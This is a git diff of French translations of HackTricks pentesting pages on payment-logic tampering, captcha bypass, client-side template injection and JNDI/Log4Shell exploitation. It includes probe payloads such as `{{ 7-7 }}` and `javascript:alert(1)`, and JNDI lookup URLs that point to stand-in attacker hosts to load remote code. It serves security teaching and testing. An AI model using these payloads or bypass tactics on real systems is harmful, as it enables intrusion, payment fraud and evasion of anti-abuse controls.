2. **Supprimer des paramètres** : Essayez de supprimer certains paramètres pour voir comment le système réagit. Certains systèmes peuvent avoir des solutions de repli ou des comportements par défaut lorsque des paramètres attendus sont manquants.
|
2. **Supprimer des paramètres** : Essayez de supprimer certains paramètres pour voir comment le système réagit. Certains systèmes peuvent avoir des comportements par défaut lorsque des paramètres attendus sont manquants.
|
||||||
|
|
||||||
### Altération de cookies
|
### Altération de cookies
|
||||||
1. **Examiner les cookies** : De nombreux sites web stockent des informations cruciales dans des cookies. Inspectez ces cookies pour toute donnée liée à l'état de paiement ou à l'authentification de l'utilisateur.
|
1. **Examiner les cookies** : De nombreux sites web stockent des informations cruciales dans des cookies. Inspectez ces cookies pour toute donnée liée à l'état de paiement ou à l'authentification de l'utilisateur.
|
||||||
|
@ -53,12 +45,6 @@ Si vous rencontrez un paramètre contenant une URL, en particulier un suivant le
|
||||||
1. **Intercepter les réponses** : Utilisez des outils pour intercepter et analyser les réponses du serveur. Recherchez toute donnée qui pourrait indiquer une transaction réussie ou révéler les prochaines étapes du processus de paiement.
|
1. **Intercepter les réponses** : Utilisez des outils pour intercepter et analyser les réponses du serveur. Recherchez toute donnée qui pourrait indiquer une transaction réussie ou révéler les prochaines étapes du processus de paiement.
|
||||||
2. **Modifier les réponses** : Essayez de modifier les réponses avant qu'elles ne soient traitées par le navigateur ou l'application pour simuler un scénario de transaction réussie.
|
2. **Modifier les réponses** : Essayez de modifier les réponses avant qu'elles ne soient traitées par le navigateur ou l'application pour simuler un scénario de transaction réussie.
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,15 +1,15 @@
|
||||||
# Contournement de Captcha
|
# Contournement de Captcha
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,14 +20,14 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
Pour **contourner** le captcha lors des **tests de serveur** et automatiser les fonctions de saisie utilisateur, diverses techniques peuvent être employées. L'objectif n'est pas de compromettre la sécurité mais de rationaliser le processus de test. Voici une liste complète de stratégies :
|
Pour **contourner** le captcha lors des **tests de serveur** et automatiser les fonctions de saisie utilisateur, diverses techniques peuvent être employées. L'objectif n'est pas de compromettre la sécurité mais de rationaliser le processus de test. Voici une liste complète de stratégies :
|
||||||
|
|
||||||
1. **Manipulation des Paramètres** :
|
1. **Manipulation des Paramètres** :
|
||||||
* **Omettre le Paramètre Captcha** : Évitez d'envoyer le paramètre captcha. Expérimentez en changeant la méthode HTTP de POST à GET ou d'autres verbes, et en modifiant le format des données, comme passer des données de formulaire à JSON.
|
* **Omettre le Paramètre Captcha** : Évitez d'envoyer le paramètre captcha. Expérimentez en changeant la méthode HTTP de POST à GET ou d'autres verbes, et en modifiant le format des données, comme passer entre les données de formulaire et JSON.
|
||||||
* **Envoyer un Captcha Vide** : Soumettez la requête avec le paramètre captcha présent mais laissé vide.
|
* **Envoyer un Captcha Vide** : Soumettez la requête avec le paramètre captcha présent mais laissé vide.
|
||||||
|
|
||||||
2. **Extraction et Réutilisation de Valeurs** :
|
2. **Extraction et Réutilisation de Valeurs** :
|
||||||
* **Inspection du Code Source** : Recherchez la valeur du captcha dans le code source de la page.
|
* **Inspection du Code Source** : Recherchez la valeur captcha dans le code source de la page.
|
||||||
* **Analyse des Cookies** : Examinez les cookies pour voir si la valeur du captcha est stockée et réutilisée.
|
* **Analyse des Cookies** : Examinez les cookies pour voir si la valeur captcha est stockée et réutilisée.
|
||||||
* **Réutiliser de Anciennes Valeurs de Captcha** : Essayez d'utiliser à nouveau des valeurs de captcha précédemment réussies. Gardez à l'esprit qu'elles peuvent expirer à tout moment.
|
* **Réutiliser de Anciennes Valeurs de Captcha** : Essayez d'utiliser à nouveau des valeurs captcha précédemment réussies. Gardez à l'esprit qu'elles peuvent expirer à tout moment.
|
||||||
* **Manipulation de Session** : Essayez d'utiliser la même valeur de captcha à travers différentes sessions ou le même ID de session.
|
* **Manipulation de Session** : Essayez d'utiliser la même valeur captcha à travers différentes sessions ou le même ID de session.
|
||||||
|
|
||||||
3. **Automatisation et Reconnaissance** :
|
3. **Automatisation et Reconnaissance** :
|
||||||
* **Captchas Mathématiques** : Si le captcha implique des opérations mathématiques, automatisez le processus de calcul.
|
* **Captchas Mathématiques** : Si le captcha implique des opérations mathématiques, automatisez le processus de calcul.
|
||||||
|
@ -42,22 +42,20 @@ Pour **contourner** le captcha lors des **tests de serveur** et automatiser les
|
||||||
* **Manipulation de User-Agent et d'En-têtes** : Modifiez le User-Agent et d'autres en-têtes de requête pour imiter différents navigateurs ou appareils.
|
* **Manipulation de User-Agent et d'En-têtes** : Modifiez le User-Agent et d'autres en-têtes de requête pour imiter différents navigateurs ou appareils.
|
||||||
* **Analyse de Captcha Audio** : Si une option de captcha audio est disponible, utilisez des services de reconnaissance vocale pour interpréter et résoudre le captcha.
|
* **Analyse de Captcha Audio** : Si une option de captcha audio est disponible, utilisez des services de reconnaissance vocale pour interpréter et résoudre le captcha.
|
||||||
|
|
||||||
|
|
||||||
## Services en Ligne pour résoudre les captchas
|
## Services en Ligne pour résoudre les captchas
|
||||||
|
|
||||||
### [Capsolver](https://www.capsolver.com/)
|
|
||||||
|
|
||||||
Le solveur de captcha automatique de Capsolver offre une **solution de résolution de captcha abordable et rapide**. Vous pouvez rapidement l'intégrer à votre programme grâce à son option d'intégration simple pour obtenir les meilleurs résultats en quelques secondes. Il peut résoudre reCAPTCHA V2 et V3, hCaptcha, FunCaptcha, datadome, aws captcha, image-à-texte, captcha binance / coinmarketcap, geetest v3, et plus encore. Cependant, ce n'est pas un contournement à proprement parler.
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,43 +1,30 @@
|
||||||
# Client Side Template Injection (CSTI)
|
# Injection de modèle côté client (CSTI)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Résumé
|
## Résumé
|
||||||
|
|
||||||
C'est comme une [**Server Side Template Injection**](ssti-server-side-template-injection/) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du code JavaScript arbitraire** dans le navigateur de la victime.
|
C'est comme une [**Injection de modèle côté serveur**](ssti-server-side-template-injection/) mais dans le **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du JavaScript** arbitraire dans le navigateur de la victime.
|
||||||
|
|
||||||
**Tester** cette vulnérabilité est très **similaire** à celui du **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec une charge utile comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
|
**Tester** cette vulnérabilité est très **similaire** au cas de **SSTI**, l'interpréteur s'attend à **un modèle** et l'exécutera. Par exemple, avec une charge utile comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, et sinon, vous verrez l'original : `{{ 7-7 }}`
|
||||||
|
|
||||||
## AngularJS
|
## AngularJS
|
||||||
|
|
||||||
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une des plus notables étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
|
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une d'elles étant **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
|
||||||
|
|
||||||
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment le code JavaScript peut être exécuté :
|
Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment le code JavaScript peut être exécuté :
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
#### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -123,8 +100,8 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,34 +15,26 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
JNDI, intégré dans Java depuis la fin des années 1990, sert de service d'annuaire, permettant aux programmes Java de localiser des données ou des objets via un système de nommage. Il prend en charge divers services d'annuaire via des interfaces de fournisseur de services (SPI), permettant la récupération de données à partir de différents systèmes, y compris des objets Java distants. Les SPI courants incluent CORBA COS, Java RMI Registry et LDAP.
|
JNDI, intégré dans Java depuis la fin des années 1990, sert de service d'annuaire, permettant aux programmes Java de localiser des données ou des objets via un système de nommage. Il prend en charge divers services d'annuaire via des interfaces de fournisseur de services (SPI), permettant la récupération de données à partir de différents systèmes, y compris des objets Java distants. Les SPI courants incluent CORBA COS, Java RMI Registry et LDAP.
|
||||||
|
|
||||||
### Référence de nommage JNDI
|
### Référence de nommage JNDI
|
||||||
|
|
||||||
Les objets Java peuvent être stockés et récupérés à l'aide de Références de Nommage JNDI, qui se présentent sous deux formes :
|
Les objets Java peuvent être stockés et récupérés à l'aide de Références de nommage JNDI, qui se présentent sous deux formes :
|
||||||
|
|
||||||
* **Adresses de Référence** : Spécifie l'emplacement d'un objet (par exemple, _rmi://server/ref_), permettant une récupération directe à partir de l'adresse spécifiée.
|
* **Adresses de référence** : Spécifie l'emplacement d'un objet (par exemple, _rmi://server/ref_), permettant une récupération directe à partir de l'adresse spécifiée.
|
||||||
* **Usine distante** : Fait référence à une classe d'usine distante. Lorsqu'elle est accédée, la classe est téléchargée et instanciée à partir de l'emplacement distant.
|
* **Usine distante** : Fait référence à une classe d'usine distante. Lorsqu'elle est accédée, la classe est téléchargée et instanciée à partir de l'emplacement distant.
|
||||||
|
|
||||||
Cependant, ce mécanisme peut être exploité, ce qui peut entraîner le chargement et l'exécution de code arbitraire. En tant que contre-mesure :
|
Cependant, ce mécanisme peut être exploité, ce qui peut entraîner le chargement et l'exécution de code arbitraire. En tant que contre-mesure :
|
||||||
|
|
||||||
* **RMI** : `java.rmi.server.useCodeabseOnly = true` par défaut depuis JDK 7u21, restreignant le chargement d'objets distants. Un Gestionnaire de Sécurité limite également ce qui peut être chargé.
|
* **RMI** : `java.rmi.server.useCodeabseOnly = true` par défaut depuis JDK 7u21, restreignant le chargement d'objets distants. Un Gestionnaire de sécurité limite également ce qui peut être chargé.
|
||||||
* **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut depuis JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. S'il est défini sur `true`, l'exécution de code à distance est possible sans la supervision d'un Gestionnaire de Sécurité.
|
* **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut depuis JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. S'il est défini sur `true`, l'exécution de code à distance est possible sans la supervision d'un Gestionnaire de sécurité.
|
||||||
* **CORBA** : N'a pas de propriété spécifique, mais le Gestionnaire de Sécurité est toujours actif.
|
* **CORBA** : N'a pas de propriété spécifique, mais le Gestionnaire de sécurité est toujours actif.
|
||||||
|
|
||||||
Cependant, le **Gestionnaire de Nommage**, responsable de la résolution des liens JNDI, manque de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets de n'importe quelle source. Cela pose un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
Cependant, le **Gestionnaire de nommage**, responsable de la résolution des liens JNDI, manque de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets de n'importe quelle source. Cela pose un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
||||||
|
|
||||||
Des exemples d'URLs exploitables incluent :
|
Des exemples d'URL exploitables incluent :
|
||||||
|
|
||||||
* _rmi://attacker-server/bar_
|
* _rmi://attacker-server/bar_
|
||||||
* _ldap://attacker-server/bar_
|
* _ldap://attacker-server/bar_
|
||||||
|
@ -58,23 +50,23 @@ Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez indiquer un autre
|
||||||
|
|
||||||
### Aperçu de CORBA
|
### Aperçu de CORBA
|
||||||
|
|
||||||
CORBA (Common Object Request Broker Architecture) utilise une **Référence d'Objet Interopérable (IOR)** pour identifier de manière unique les objets distants. Cette référence inclut des informations essentielles telles que :
|
CORBA (Common Object Request Broker Architecture) utilise une **Référence d'objet interopérable (IOR)** pour identifier de manière unique les objets distants. Cette référence comprend des informations essentielles telles que :
|
||||||
|
|
||||||
* **Type ID** : Identifiant unique pour une interface.
|
* **Type ID** : Identifiant unique pour une interface.
|
||||||
* **Codebase** : URL pour obtenir la classe stub.
|
* **Codebase** : URL pour obtenir la classe stub.
|
||||||
|
|
||||||
Notamment, CORBA n'est pas intrinsèquement vulnérable. Assurer la sécurité implique généralement :
|
Notamment, CORBA n'est pas intrinsèquement vulnérable. Assurer la sécurité implique généralement :
|
||||||
|
|
||||||
* Installation d'un **Gestionnaire de Sécurité**.
|
* Installation d'un **Gestionnaire de sécurité**.
|
||||||
* Configuration du Gestionnaire de Sécurité pour permettre les connexions à des codebases potentiellement malveillantes. Cela peut être réalisé par :
|
* Configurer le Gestionnaire de sécurité pour permettre les connexions à des codebases potentiellement malveillantes. Cela peut être réalisé par :
|
||||||
* Permission de socket, par exemple, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
* Permission de socket, par exemple, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||||
* Permissions de lecture de fichiers, soit universelles (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
|
* Permissions de lecture de fichiers, soit universellement (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ou pour des répertoires spécifiques où des fichiers malveillants pourraient être placés.
|
||||||
|
|
||||||
Cependant, certaines politiques de fournisseurs peuvent être indulgentes et permettre ces connexions par défaut.
|
Cependant, certaines politiques de fournisseurs peuvent être indulgentes et permettre ces connexions par défaut.
|
||||||
|
|
||||||
### Contexte RMI
|
### Contexte RMI
|
||||||
|
|
||||||
Pour RMI (Remote Method Invocation), la situation est quelque peu différente. Comme avec CORBA, le téléchargement de classes arbitraires est restreint par défaut. Pour exploiter RMI, il faudrait généralement contourner le Gestionnaire de Sécurité, un exploit également pertinent dans CORBA.
|
Pour RMI (Remote Method Invocation), la situation est quelque peu différente. Comme avec CORBA, le téléchargement de classes arbitraires est restreint par défaut. Pour exploiter RMI, il faudrait généralement contourner le Gestionnaire de sécurité, un exploit également pertinent dans CORBA.
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
|
@ -87,7 +79,7 @@ Si la recherche LDAP a été invoquée avec **SearchControls.setReturningObjFlag
|
||||||
Par conséquent, il existe plusieurs façons d'attaquer ces options.\
|
Par conséquent, il existe plusieurs façons d'attaquer ces options.\
|
||||||
Un **attaquant peut empoisonner les enregistrements LDAP en introduisant des charges utiles** sur eux qui seront exécutées dans les systèmes qui les collectent (très utile pour **compromettre des dizaines de machines** si vous avez accès au serveur LDAP). Une autre façon d'exploiter cela serait de réaliser une **attaque MitM dans une recherche LDAP**, par exemple.
|
Un **attaquant peut empoisonner les enregistrements LDAP en introduisant des charges utiles** sur eux qui seront exécutées dans les systèmes qui les collectent (très utile pour **compromettre des dizaines de machines** si vous avez accès au serveur LDAP). Une autre façon d'exploiter cela serait de réaliser une **attaque MitM dans une recherche LDAP**, par exemple.
|
||||||
|
|
||||||
Dans le cas où vous pouvez **faire en sorte qu'une application résolve une URL JNDI LDAP**, vous pouvez contrôler le LDAP qui sera recherché, et vous pourriez renvoyer l'exploit (log4shell).
|
Dans le cas où vous pouvez **faire résoudre une URL JNDI LDAP par une application**, vous pouvez contrôler le LDAP qui sera recherché, et vous pourriez renvoyer l'exploit (log4shell).
|
||||||
|
|
||||||
#### Exploit de désérialisation
|
#### Exploit de désérialisation
|
||||||
|
|
||||||
|
@ -112,7 +104,7 @@ Avec un **: présent** dans la clé, comme dans `${jndi:ldap://example.com/a}`,
|
||||||
|
|
||||||
Par conséquent, la seule chose nécessaire pour obtenir RCE est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et parce que c'est une bibliothèque largement utilisée par les applications Java pour enregistrer des informations (y compris les applications exposées à Internet), il était très courant d'avoir log4j enregistrant par exemple les en-têtes HTTP reçus comme le User-Agent. Cependant, log4j n'est **pas utilisé uniquement pour enregistrer des informations HTTP mais toute entrée** et données que le développeur a indiquées.
|
